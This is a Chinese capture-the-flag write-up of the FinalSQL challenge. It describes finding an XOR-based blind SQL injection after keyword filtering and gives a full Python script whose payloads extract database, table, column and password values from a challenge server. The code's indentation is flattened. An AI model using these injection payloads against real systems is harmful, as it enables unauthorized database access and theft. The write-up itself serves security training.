[极客大挑战 2019]FinalSQL-异或注入
作者:互联网
1、首先打开题目如下:
2、寻找注入点,点击神秘代码发现会返回不同的信息,然后尝试union、and等关键字发现被屏蔽,如下:
3、关键词被过滤了,使用不了报错注入、联合注入、bool注入,因此想到了异或注入,经过尝试发现^符号未被过滤,(1^2=3),如下:
4、发现了注入点就需要进行尝试去编写脚本去获取数据库名称、表名称、列名称、数据库内的值,因为这里与[WUSTCTF2020]颜值成绩查询-1关卡类似,其脚本语言也是类似,在做[WUSTCTF2020]颜值成绩查询-1关卡时已写过一遍获取flag的脚本,因此这里直接在网上查找了下,最终通过以下脚本获取到flag值,脚本和结果如下:
import time
import requests
url = "http://e92fadb9-dc06-4156-8184-cb5346128636.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
# columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
# 根据需要查询的内容改变get中的参数
r = requests.get(url=url+data)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
time.sleep(0.1)
flag += chr(low)
print("\r", end="")
print(flag,end='')
强烈推荐完成此关卡之后去学习下:[WUSTCTF2020]颜值成绩查询-1关卡,这里是记录的自己的[WUSTCTF2020]颜值成绩查询-1关卡通关过程,包含每一步的思路和判断,最后的代码只需要执行就可获取flag:https://www.cnblogs.com/upfine/p/16367693.html
标签:极客,FinalSQL,颜值,异或,mid,flag,low,关卡,ord 来源: https://www.cnblogs.com/upfine/p/16425045.html